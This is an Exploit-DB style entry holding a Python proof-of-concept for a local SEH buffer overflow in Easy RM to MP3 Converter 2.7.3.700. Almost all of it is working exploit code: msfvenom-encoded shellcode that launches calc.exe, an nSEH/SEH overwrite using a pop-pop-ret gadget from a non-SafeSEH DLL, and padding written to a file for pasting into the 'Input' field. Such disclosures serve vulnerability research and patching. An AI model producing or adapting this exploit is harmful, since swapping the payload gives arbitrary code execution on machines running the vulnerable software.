Easy RM to MP3 Converter 2.7.3.700 - 'Input' Local Buffer Overflow (SEH)

2020-03-27
ID: 102777
CVE: None
Download vulnerable application: None
# Exploit Title: 
# Date: 2020-03-26
# Author: Felipe Winsnes
# Software Link: https://www.exploit-db.com/apps/707414955696c57b71c7f160c720bed5-EasyRMtoMP3Converter.exe
# Version: 2.7.3.700
# Tested on: Windows 7 (x86)

# Proof of Concept:
# 1.- Run the python script, it will create a new file "poc.txt"
# 2.- Copy the content of the new file 'poc.txt' to clipboard
# 3.- Open the Application
# 4.- If the 'Preferences' windows pops up, just click 'Cancel'
# 4.- Click 'Batch'
# 5.- Delete everything on the parameter 'Input:' and paste the clipboard there
# 6.- Select OK
# 7.- Some Windows message boxes will pop up, click OK.
# 8.- Profit

# Blog where the vulnerability is explained: https://whitecr0wz.github.io/posts/Easy-RM-to-MP3-Converter-2.7.3.700-Input/

import struct
import sys

# msfvenom -p windows/exec CMD=calc.exe -f py -e x86/alpha_mixed EXITFUNC=thread 
# Payload size: 447 bytes

buf =  b""
buf += b"\xdb\xc4\xd9\x74\x24\xf4\x58\x50\x59\x49\x49\x49\x49"
buf += b"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x43\x37"
buf += b"\x51\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41"
buf += b"\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58"
buf += b"\x50\x38\x41\x42\x75\x4a\x49\x4b\x4c\x6b\x58\x4d\x52"
buf += b"\x55\x50\x73\x30\x67\x70\x55\x30\x6c\x49\x4a\x45\x65"
buf += b"\x61\x69\x50\x62\x44\x6c\x4b\x76\x30\x46\x50\x4e\x6b"
buf += b"\x76\x32\x46\x6c\x6c\x4b\x52\x72\x65\x44\x6e\x6b\x72"
buf += b"\x52\x74\x68\x44\x4f\x4f\x47\x73\x7a\x64\x66\x65\x61"
buf += b"\x49\x6f\x4e\x4c\x47\x4c\x50\x61\x71\x6c\x34\x42\x66"
buf += b"\x4c\x71\x30\x6b\x71\x58\x4f\x44\x4d\x46\x61\x68\x47"
buf += b"\x4a\x42\x6c\x32\x51\x42\x63\x67\x4c\x4b\x76\x32\x72"
buf += b"\x30\x4e\x6b\x33\x7a\x35\x6c\x4c\x4b\x50\x4c\x32\x31"
buf += b"\x31\x68\x59\x73\x53\x78\x55\x51\x6b\x61\x70\x51\x4e"
buf += b"\x6b\x70\x59\x47\x50\x35\x51\x68\x53\x6e\x6b\x51\x59"
buf += b"\x37\x68\x6a\x43\x45\x6a\x62\x69\x6c\x4b\x54\x74\x6c"
buf += b"\x4b\x55\x51\x4a\x76\x76\x51\x39\x6f\x6c\x6c\x6b\x71"
buf += b"\x4a\x6f\x36\x6d\x77\x71\x6a\x67\x77\x48\x69\x70\x33"
buf += b"\x45\x7a\x56\x64\x43\x61\x6d\x68\x78\x45\x6b\x53\x4d"
buf += b"\x66\x44\x53\x45\x69\x74\x70\x58\x4e\x6b\x76\x38\x74"
buf += b"\x64\x77\x71\x38\x53\x52\x46\x6e\x6b\x34\x4c\x72\x6b"
buf += b"\x6e\x6b\x56\x38\x45\x4c\x57\x71\x38\x53\x6c\x4b\x75"
buf += b"\x54\x6e\x6b\x76\x61\x4a\x70\x4e\x69\x67\x34\x44\x64"
buf += b"\x31\x34\x51\x4b\x73\x6b\x43\x51\x30\x59\x51\x4a\x53"
buf += b"\x61\x59\x6f\x49\x70\x31\x4f\x33\x6f\x63\x6a\x6c\x4b"
buf += b"\x57\x62\x68\x6b\x6c\x4d\x73\x6d\x42\x4a\x33\x31\x4c"
buf += b"\x4d\x4f\x75\x4e\x52\x73\x30\x35\x50\x47\x70\x66\x30"
buf += b"\x51\x78\x35\x61\x4e\x6b\x42\x4f\x6f\x77\x59\x6f\x58"
buf += b"\x55\x4f\x4b\x4d\x30\x35\x4d\x75\x7a\x65\x5a\x63\x58"
buf += b"\x49\x36\x4f\x65\x6d\x6d\x6d\x4d\x79\x6f\x79\x45\x45"
buf += b"\x6c\x77\x76\x33\x4c\x57\x7a\x4f\x70\x6b\x4b\x69\x70"
buf += b"\x74\x35\x57\x75\x6d\x6b\x33\x77\x65\x43\x43\x42\x62"
buf += b"\x4f\x32\x4a\x37\x70\x53\x63\x79\x6f\x6a\x75\x33\x53"
buf += b"\x35\x31\x72\x4c\x61\x73\x54\x6e\x61\x75\x61\x68\x75"
buf += b"\x35\x57\x70\x41\x41"

nseh = struct.pack("<I", 0x06710870)
seh = struct.pack("<I", 0x10025A2E) # 0x10025a2e : pop ecx # pop esi # ret  | ascii {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)

buffer = "A" * 9008 + nseh + seh + "\x41\x49" * 5 + buf + "\xff" * 200

try:
    f = open ("poc.txt", "w")
    f.write(buffer)
    f.close()
    print "[+] The file has been created successfully!"

except:
    print "[!] There has been an error while creating the file."
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